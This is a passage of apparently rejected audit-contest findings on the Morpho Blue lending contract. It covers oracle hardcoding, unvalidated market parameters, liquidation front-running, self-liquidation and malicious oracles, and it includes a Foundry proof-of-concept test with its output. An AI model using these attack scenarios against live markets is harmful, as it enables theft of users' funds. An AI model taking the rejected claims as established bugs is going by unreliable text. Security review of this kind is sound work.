+We can understand that where as its right for the `IRM and LTV` to be unchangeable after creating a market, so users know the conditions of the markets they are engaging with, i.e an admin can't upate the `LTV` value to have them become immediately liquidatable or change the interest rate model, the same can't be said for oracles.
+
+Note that the attached oracle for any market is going to be used to price the assets attached to this market, i.e any call to `isHealthy()` or even `liquidate()` is going to have this price as the core decider on user's health ratio, i.e if they are holding unhealthy positions, which would decide if they are liquidatable or not.
+
+Where as protocol has noted the fact that a reversion from this oracle would cause a lock of access to `borrow()`, `withdrawCollateral()` and `liquidate()` the only other bug case that is considered is the fact that if the oracle returns a very high price then an overflow could happen in the computation of `maxBorrow` or `assetsRepaid` in `liquidate()`, these are not the only bug cases attached to oracles.
+
+Let's take `Chainlink` as a case study, since they are arguably the most integrated oracle system in the blockchain space, rightfully so.
+
+- The pricefeeds could be getting deprecated for example navigating to the official Chainlink site for feeds, and grepping it for the [feeds that are to be deprecated](https://docs.chain.link/data-feeds/price-feeds/addresses?network=ethereum&page=1&categories=deprecating) we can see that there is a specific section for deprecating feeds which currently has 4 pricefeeds.
+ > NB: Chainlink in this instance does it's due diligence to inform user that a feed is going to be deprecated and inform the dates for this deprecation, which the user _(in this case Morpho)_ is expected to look for other sources of pricing, but that's currently not possible.
+ > Also this shouldn't be considered as the reversion case when prices are being queried since it doesn't just happen and users have been warned before hand, but in this case, Oracles are hardcoded and Morpho has no way of saving the complete DOS that would occur for a specific market.
+- The details for a particular oracle can be changed, for example, it's heartbeat or deviation, this can be seen with the `stETH/ETH` price feed that used to have a `2%` deviation but has been updated to now have a `0.5%` heartbeat.
+ > What this leads to is the dynamics of an already set up market to be flawed, say the deviation of a price gets updated to 2% and a heartbeat of 1 day from 0.5% and 1 hour, the whole pricing logic of `Morpho` would effectively be flawed as the on-chain price would be off by a margin to the real price.
+ > Also keep in mind that a `1.9%` difference in price would be more than enough margin to decide if a user is liquidatable or not, i.e `isHealthy()` would be heavily flawed since it would be dealing with outdated values.
+Other multiple cases exist for oracle providers, even if not Chainlink(this was only used as [some issues on the Morpho-blue repo](https://github.com/search?q=repo%3Amorpho-org%2Fmorpho-blue+Chainlink&type=issues) points to using Chainlink or Univ3 to price assets, also the whitepaper makes multiple examples using Chainlink), even if we take the popular Tellor oracle it also has it's own perks and downsides... whatever the oracle provider to be used, it should be changeable and not follow the same fate as the hardcoding of `LTV` or `IRM`.
+
+- Impact
+
+As explained, all functionalities could be massively flawed (when on-chain prices are way off from real prices, imagine a feed of `0.5%` deviation and `3600` seconds heartbeat being changed to a `86400` seconds heartbeat feed and a `2%` deviation, now if price moves `+1.9%` in the past `18 hours`, the price would not be updated which would lead to unfair liquidations) or in the worst case pricing would be completely bricked with no way to save a market _even if Morpho knows about this before hand_.
+
+Another important section to reiterate would be the case where Chainlink rightfully warns users on a feed that's deprecating, but the oracles have been hardoced and nothing can be changed within `Morpho`.
+
+> All these lead to issues that would effectively break protocol, from having bad debts that can't be liquidated cause the oracle is not available to effectively price these assets to other cases.
+- Recommended Mitigation Steps
+
+As already stated, no matter the type of provider that is going to be used for the oracle, **it should never be hardcoded** since this heavily depends on external factors, i.e in this case oracle providers who might decide whatever in regards to underlying oracle, so unlike the underlying `LTV` or `IRM` of a market, it's oracle should be changeable.
+
+Alternatively the creator of a market could stored and allowed to change this under a timelock, that way users engaging have enough time to decide to leave, i.e withdraw from market or not before change comes in play.
+
+
+
+
+### attacker can steal `market.collateralToken` if `market.collateralToken` is expensive than `market.loanToken` _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L197-L197](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L197), [Morpho.sol#L232-L232](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L232), [Morpho.sol#L320-L320](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L320-L320)
+
+**Description**:
+
+This issue is happened in function `withdraw`, `borrow`, and `withdrawCollateral`, I will take function `withdraw` as examle
+
+`withdraw` function doesn't validate marketParams.loanToken, **because the function doesn't valide marketParams's.loanToken, a malicious user can set `collateral token` to `marketParams.loanToken` to steal collateral token if collateral token is more expensive.**
+
+`withdraw` function blindly trust marketParams, and will update the onBehalf's position at [Morpho.sol#L216](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L216), and then at [Morpho.sol#L224](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224), the function calls safeTransferFrom on marketParams.loanToken.
+So if in a market, `market.collateralToken` is expensive than `market.loanToken`, a malicious can call `withdraw` with `market.collateralToken` as `marketParams.loanToken`, in such case, the contract will send `market.collateralToken` to the receiver.
+
+```solidity
+196 /// @inheritdoc IMorphoBase
+197 function withdraw(
+198 MarketParams memory marketParams,
+199 uint256 assets,
+200 uint256 shares,
+201 address onBehalf,
+202 address receiver
+203 ) external returns (uint256, uint256) {
+204 Id id = marketParams.id();
+205 require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+206 require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+207 require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+208 // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+209 require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+210
+211 _accrueInterest(marketParams, id);
+212
+213 if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+214 else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+215
+216 position[id][onBehalf].supplyShares -= shares; <<<--- update the position
+217 market[id].totalSupplyShares -= shares.toUint128();
+218 market[id].totalSupplyAssets -= assets.toUint128();
+219
+220 require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+221
+222 emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+223
+224 IERC20(marketParams.loanToken).safeTransfer(receiver, assets); <<<--- transfer token, if marketParams.loanToken is set to market.collateralToken, the market.collateralToken will be transferred
+225
+226 return (assets, shares);
+227 }
+```
+
+**Recommendation**:
+
+ Using `id` instead of `marketParams`
+```diff
+diff --git a/src/Morpho.sol b/src/Morpho.sol
+index f755904..6acca90 100644
+--- a/src/Morpho.sol
++++ b/src/Morpho.sol
+@@ -195,13 +195,13 @@ contract Morpho is IMorphoStaticTyping {
+
+ /// @inheritdoc IMorphoBase
+ function withdraw(
+- MarketParams memory marketParams,
++ Id id,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+- Id id = marketParams.id();
++ MarketParams memory marketParams = idToMarketParams[id];
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+
+### A malicious user can game their way to hold an unhealthy position for a very long time _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- A malicious user can hold an unhealthy position for a very long time which could lead to a bank run and the inability of later users to withdraw since not enough funds would be available
+
+- Proof of Concept
+
+Malicious user can open a huge borrow position with minimum margin and can keep frontrunning liquidations, basically allowing unhealthy position remain active forever.
+
+This can easily lead to position going into bad debt and causing loss of funds for the other protocol users (as they will not be able to withdraw all their funds due to account's bad debt).
+
+The above is attained due to the current way the `liquidate()` works
+
+Take a look at [Morpho.sol#L344-L410](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344-L410)
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+The core execution, would revert in the following scenarios:
+
+- Repaying more than the borrow balance will underflow and revert without any error message.
+- Seizing more than the collateral balance will underflow and revert without any error message.
+
+What the above just routes to is the fact that an attacker could always frontrun an attempt to liquidate their assets by providing as little value to ensure that one of the two aforementioned underflows and reverts, could as well be as little as 1 wei, i.e if any of these values are exactly at the brim of not underflowing.
+
+- Impact
+
+Very important protocol function (liquidation) can be DOS'ed and make the unhealthy accounts avoid liquidations for a very long time. Malicious users can thus open huge risky positions which will then go into bad debt causing loss of funds for all protocol users as they will not be able to withdraw their funds and can cause a bank run - first users will be able to withdraw, but later users won't be able to withdraw as protocol won't have enough funds for this.
+
+- Recommended Mitigation Steps
+
+Consider not reverting as currently implemented regarding params `seizedAssets` & `repaidShares`, i.e if `seizedAssets` is more than the collateral balance to seize, then `seizedAssets` should be updated to the collateral balance, and if it's `repaidShares` that's more than the borrow balance then it should also be updated to borrow balance, this way protocol is always ensured to not have bad debts and also makes users to always have healthy accounts as they can't side step liquidations
+
+
+
+
+### `marketParams.oracle` is not validate _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L357-L357](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357-L357), [Morpho.sol#L501-L501](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L501-L501)
+
+**Description**:
+
+This issue is happens in function `liquidate` and other function calls [_isHealthy](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L501), such as `borrow` and `withdrawCollateral`. I will take `liquidate` as an example
+
+`marketParams.oracle` is used to query collateral price, it's very import to make sure `marketParams.oracle` is validated. If the `liquidate` uses a malicious `marketParams.oracle`, the price will be manipulated.
+
+As shown in [Morpho.sol#L357](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L357), the function uses `marketParams.oracle` without validating.
+
+```solidity
+343 /// @inheritdoc IMorphoBase
+344 function liquidate(
+345 MarketParams memory marketParams,
+346 address borrower,
+347 uint256 seizedAssets,
+348 uint256 repaidShares,
+349 bytes calldata data
+350 ) external returns (uint256, uint256) {
+351 Id id = marketParams.id();
+352 require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+353 require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+354
+355 _accrueInterest(marketParams, id);
+356
+357 uint256 collateralPrice = IOracle(marketParams.oracle).price(); <<<---- Here marketParams.oracle is not validated
+358
+359 require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+360
+...
+
+```
+
+
+**Recommendation**:
+
+Using `id` instead of `marketParams`
+
+```diff
+diff --git a/src/Morpho.sol b/src/Morpho.sol
+index f755904..1fdd127 100644
+--- a/src/Morpho.sol
++++ b/src/Morpho.sol
+@@ -342,13 +342,13 @@ contract Morpho is IMorphoStaticTyping {
+
+ /// @inheritdoc IMorphoBase
+ function liquidate(
+- MarketParams memory marketParams,
++ Id id,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+- Id id = marketParams.id();
++ MarketParams memory marketParams = idToMarketParams[id];
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+```
+
+
+
+### Authorized party could take advantage of the permissions he has _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Currently in [morpho blue](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L428) allows users to authorise another participants to execute operations on their behalf. However, the current implementation, could result in authorised party overuse his permissions.
+- Details
+An authorised party is allowed to handle all actions and all assets on behalf of the authoriser. This could be a problem, if an authoriser give permission to another party to borrow for himself. But the approved party could withdraw all supplied tokens by the approver, or could borrow/supply from markets, where approver has funds, but hasn't taught about the possibility of using them on his behalf.
+
+1. Imagine Bob want Eve to borrow on his behalf for market ETH/USDT, so to earn yield. Bob has provided collateral X, which is the "limit" for funds that can be borrowed.
+2. If now Bob also provide collateral for another market, or provide liquidity to earn even more yield for his funds he is in a danger position.
+3. Eve has the full control of all his funds, which is a vulnerable state for Bob.
+4. Bob doesn't suspect that Eve has control of the other part of his funds, because it is a little bit counterintuitive.
+5. Eve can withdraw all funds and borrow funds for all collateral and leave.
+
+- Impact
+I consider this as an issue, because this opportunity of approval is more of a vulnerable spot, than a feature, if the protocol want to maintain a real decentralised and secured borrow/lending space.
+Yes, it is a concern of the owner of the funds, but even in a total prone system he is responsible if an assets go up, or down. Having that in mind I think that protocols are responsible to provide all possible preventions and good practices to make the system most secure. And this could easily be implemented in this case, which would make the protocol even more flexible.
+
+- Recommendation
+- I consider a good and simple solution to introduce an `amount` of funds, which the approved party could handle, or specify for which action (borrow, withdraw) is the approval, because there are real cases, where an owner would want another party to be able to only `borrow` on his behalf.
+- Another idea is to introduce a number of actions, which an approved party could perform and after that delete the approval
+
+Example of first solution:
+```
+// Approve an address to use X amount of funds for Y market
+ mapping(address => mapping(address => mapping(Id => uint256))) public isAuthorized;
+
+function setAuthorization(address authorized, MarketParams market, uint256 amount) external {
+ Id id = marketParams.id();
+ isAuthorized[msg.sender][authorized][id] = amount;
+
+ // Also change the event to show the id and amount of funds
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, id, amount);
+ }
+```
+The complexity introduced by this solution is neglectable, but the flexibility and security, which provides is valuable and improves the quality for all participants of the protocol.
+
+
+
+### `marketParams.irm` is not validated, which causes the accrued interest can be manipulated
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L476-L476](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L476-L476)
+
+**Description**:
+`marketParams.irm` is used to query the [borrow rate](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L476), and then will be used to [calculate interest](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477).
+
+Because of all functions calls `_accrueInterest` don't validate the `marketParams`, it's possible to supply a malicious contract as `marketParams.irm`, within the malicious contract, `borrowRate` will be implemented.
+And if the malicious `borrowRate` function returns 0, there will be [no interest](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477) since `market[id].lastUpdate`, which cause lost for loanToken suppliers
+At the same time, if the malicious `borrowRate` function returns a large value, the interest will be very large , which might break the system.
+
+**Recommendation**:
+
+
+
+### `marketParams.lltv` is not validated _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L522-L522](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L522-L522)
+
+**Description**:
+`marketParams.lltv` is used to determined if a borrower's position is healthy in [_isHealthy function](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L513)
+
+But all functions calling [_isHealthy](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L513) don't validate `marketParams`.
+
+By using a malicious `marketParams.lltv`, the malicious can withdraw his collateral token even his position is no healthy, or a malicious can liquidate a healthy position.
+
+**Recommendation**:
+
+
+
+### Borrowers gain value by liquidating their own position _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+**Description**:
+Instead of repaying their debt, BORROWERS can liquidate their position if it turns bad and could accrue value and offset interest fees to the liquidity providers.
+
+In the Morpho contract, anyone can call the liquidate function to repay the borrower's loan at a discount. By exploiting this function, a sophisticated borrower could borrow from a pool and hold it until the position becomes unhealthy at some future time `t`.
+
+Quickly, after it becomes unhealthy he can liquidate 100% of his positions and gain value over time (incentives for liquidation) and offset the risk entirely to other liquidity providers, borrowing from Morpho markets with effectively negative interest.
+
+Consider the following scenario and the following PoC,
+
+A pool of two tokens loanToken and collateralToken with prices in a 1:1 ratio is used to demonstrate the scenario.
+
+- Alice supplied 100e18 loanToken to the pool as a liquidity provider.
+- Bob borrows 80e18 loanTokens by supplying 100e18 collateral token. [Bob uses the borrowed tokens however he wishes and his watcher bots wait for the position to go unhealthy].
+- Then when the position becomes unhealthy, let's assume a price drop of 20%, and the ratio becomes 1:0.8.
+- Bob's bots liquidate his position entirely by supplying the total shares in the input of the `liquidate` function.
+- Bob repays approx 75e18 loanTokens and keeps the rest of them and got his 100e18 collateral back fully.
+- Bob held his loan position for a million blocks before liquidating and gained a lot of value in bad shares.
+
+**Accounting:**
+- Bob started with `100 collateralToken`. The morpho pool had `100 loanToken` (from Alice).
+- Bob ended with `100 collateralToken` and approx 4.7 `loanToken`, while the pool has approx 96 loanToken.
+
+Bob instead of paying any interest gained from his positions went unhealthy. This incentivizes users to wait for their positions to go unhealthy and liquidate themselves to avoid repaying at any point. The position gained some insane amount of interest over a million blocks, which the BORROWER avoided successfully
+
+**PoC:**
+
+Place the following file into the `test/forge` folder and run `FOUNDRY_PROFILE=test forge test --match-test test_borrowAndLiqBySameUser -vv`.
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "./BaseTest.sol";
+
+contract BadDebtIsProfitableThanRepayTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using SharesMathLib for uint256;
+
+ function test_borrowAndLiqBySameUser() external {
+ /// step 1: supplier supplies 100e18 token as loan token
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, 100e18);
+ loanToken.approve(address(morpho), 100e18);
+ morpho.supply(marketParams, 100e18, 0, SUPPLIER, hex"");
+ /// 100 USD
+
+ /// step 2: borrower supplies 100e18 token as loan token assuming price is in 1:1 ratio
+ vm.startPrank(BORROWER);
+ collateralToken.setBalance(BORROWER, 100e18);
+ collateralToken.approve(address(morpho), 100e18);
+ loanToken.approve(address(morpho), 100e18);
+ console.log("before borrow");
+ console.log(loanToken.balanceOf(BORROWER));
+ console.log(collateralToken.balanceOf(BORROWER));
+
+ /// 100 USD
+ morpho.supplyCollateral(marketParams, 100e18, BORROWER, hex"");
+ morpho.borrow(marketParams, 80e18, 0, BORROWER, BORROWER);
+ console.log("after borrow");
+ console.log(loanToken.balanceOf(BORROWER));
+ console.log(collateralToken.balanceOf(BORROWER));
+
+ _forward(1e6);
+ /// Step 3: price falls 20% the position becomes liquidatable
+ oracle.setPrice(800000000000000000000000000000000000);
+ morpho.position(MarketParamsLib.id(marketParams), BORROWER);
+ console.log("before liquidation");
+ console.log(loanToken.balanceOf(BORROWER));
+ console.log(collateralToken.balanceOf(BORROWER));
+ morpho.liquidate(marketParams, BORROWER, 100e18, 0, hex"");
+ morpho.position(MarketParamsLib.id(marketParams), BORROWER);
+ console.log("after liquidation");
+ console.log(loanToken.balanceOf(BORROWER));
+ console.log(collateralToken.balanceOf(BORROWER));
+ console.log("pool balance after withdraw collateral");
+ console.log(loanToken.balanceOf(address(morpho)));
+ console.log(collateralToken.balanceOf(address(morpho)));
+ }
+}
+```
+
+```
+[PASS] test_borrowAndLiqBySameUser() (gas: 356171)
+Logs:
+ changePrank is deprecated. Please use vm.startPrank instead.
+ changePrank is deprecated. Please use vm.startPrank instead.
+ changePrank is deprecated. Please use vm.startPrank instead.
+ changePrank is deprecated. Please use vm.startPrank instead.
+ before borrow
+ 0
+ 100000000000000000000
+ after borrow
+ 80000000000000000000
+ 0
+ before liquidation
+ 80000000000000000000
+ 0
+ after liquidation
+ 4799999999999999986
+ 100000000000000000000
+ pool balance after withdraw collateral
+ 95200000000000000014
+ 0
+```
+
+**Recommendation**: Make sure to prevent the borrower from liquidating his position. Even if a liquidator from another account could liquidate his position from another account, exploiting the system adversely. Some possible solutions could look like this.
+
+- could gatekeep liquidation to a trusted liquidator.
+- make sure collateral suppliers face a loss of value in case of liquidation
+
+
+
+### The current liquidation implementation causes new lenders to incur losses _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Liquidators can fully or partially liquidate a liquidable position via [[liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350). If a position incurs a bad debt, the bad debt will be socialized to all lenders.
+
+```solidity
+File: src\Morpho.sol
+344: function liquidate(
+345: MarketParams memory marketParams,
+346: address borrower,
+347: uint256 seizedAssets,
+348: uint256 repaidShares,
+349: bytes calldata data
+350: ) external returns (uint256, uint256) {
+......
+380: position[id][borrower].borrowShares -= repaidShares.toUint128();
+381: market[id].totalBorrowShares -= repaidShares.toUint128();
+382: market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+383:
+384: position[id][borrower].collateral -= seizedAssets.toUint128();
+385:
+386: uint256 badDebtShares;
+387:-> if (position[id][borrower].collateral == 0) {
+388: badDebtShares = position[id][borrower].borrowShares;
+389: uint256 badDebt = UtilsLib.min(
+390: market[id].totalBorrowAssets,
+391: badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+392: );
+393:
+394: market[id].totalBorrowAssets -= badDebt.toUint128();
+395: market[id].totalSupplyAssets -= badDebt.toUint128();
+396: market[id].totalBorrowShares -= badDebtShares.toUint128();
+397: position[id][borrower].borrowShares = 0;
+398: }
+......
+410: }
+```
+
+The logic of L387-L398 is used to socialize bad debts to all lenders. However, the `if` statement of L387 needs to be met, that is, `position[id][borrower].collateral == 0`, which means that the position is fully liquidated. **In other words, if a position with bad debt was just partially liquidated, the bad debt will not be processed. The bad debt does not disappear, it will always exist**.
+
+Let us consider the following scenario:
+
+Bob is a bad guy. Whenever a position with bad debt appears, his program will immediately liquidate the position and keep the remaining collateral in the position as dust amount, such as `1wei`. `Such a position will not incentivize any liquidator to liquidate again`. Due to the dust amount of collateral, the liquidator does not make any profit and has to lose gas. Therefore, as time goes by, such positions become more and more.
+
+Assume that when the number of such positions is greater than 100, Bob intends to let a new lender share all bad debts. Unfortunately, Alice supplied a large number of loanTokens via [[supply](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172). His program monitors that a whale render has joined (that is alice). Therefore, the program fully liquidates all such positions, then all bad debts are immediately shared by all lenders in the Market. This is unfair to Alice. She is forced to cover all old bad debts just after joining.
+
+- Recommendation
+
+It is recommended to add the following check at the end of `liquidate`:
+
+Is there any remaining collateral for the liquidated position? If so, check whether the value of the remaining collateral is greater than the minimum value, otherwise trigger revert. This minimum value can be the same for all markets, or it can be set when the market is created.
+
+In this way, if a position with bad debt is partially liquidated, having a certain amount of collateral will incentivize other liquidators to perform full liquidation (because it is profitable).
+
+
+
+### createMarket can set a malicious oracle, which will cause all positions to be maliciously liquidated _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+
+Anyone can create a market via [[createMarket](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150-L161)](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150-L161), where [the `marketParams` argument contains a very important oracle address](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L9), which is expected to return the correct price about collateralToken.
+
+```solidity
+File: src\Morpho.sol
+150: function createMarket(MarketParams memory marketParams) external {
+151: Id id = marketParams.id();
+152: require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+153: require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+154: require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+155:
+156: // Safe "unchecked" cast.
+157: market[id].lastUpdate = uint128(block.timestamp);
+158:-> idToMarketParams[id] = marketParams;
+159:
+160: emit EventsLib.CreateMarket(id, marketParams);
+161: }
+```
+
+Since `marketParams.oracle` can be set to any contract, if it is malicious, that is, it can be controlled to return real price or manipulated price. In this case, all borrowers suffered significant financial losses due to the malicious liquidation of their positions.
+
+Consider the following scenario:
+
+1. Bob deployed an upgradeable oracle contract which is used to return the price of ETH/USDC. The code of the implement contract set by the current proxy contract is to always return the correct price.
+2. Bob created a Market via `createMarket`, where ETH is used as collateralToken and USDC is loanToken.
+3. Since the Market is well operated by bob, it has many lenders and borrowers. Therefore, this market has a large amount of ETH coming from borrowers.
+4. Bob upgraded the implementation code of the oracle proxy contract, which returns a price that is lower than the real price. So all borrowers' positions can be liquidated.
+5. Bob quickly liquidated all positions and made huge profits.
+
+- Recommendation
+
+It seems like there is no good way to prevent this problem since Morpho is designed to be permissionless.
+
+
+
+### liquidator can steal borrower's collateralToken _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+**Description**:
+
+In function `liquidate`, to liquidate a borrower's debt, the following steps are taken:
+1. accrue interest in [Morpho.sol#L355](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L355)
+2. check if the borrower's position is [healthy](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L359)
+3. calculate `seizedAssets` and `repaidAssets` in [Morpho.sol#L361-L378](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L361-L378).
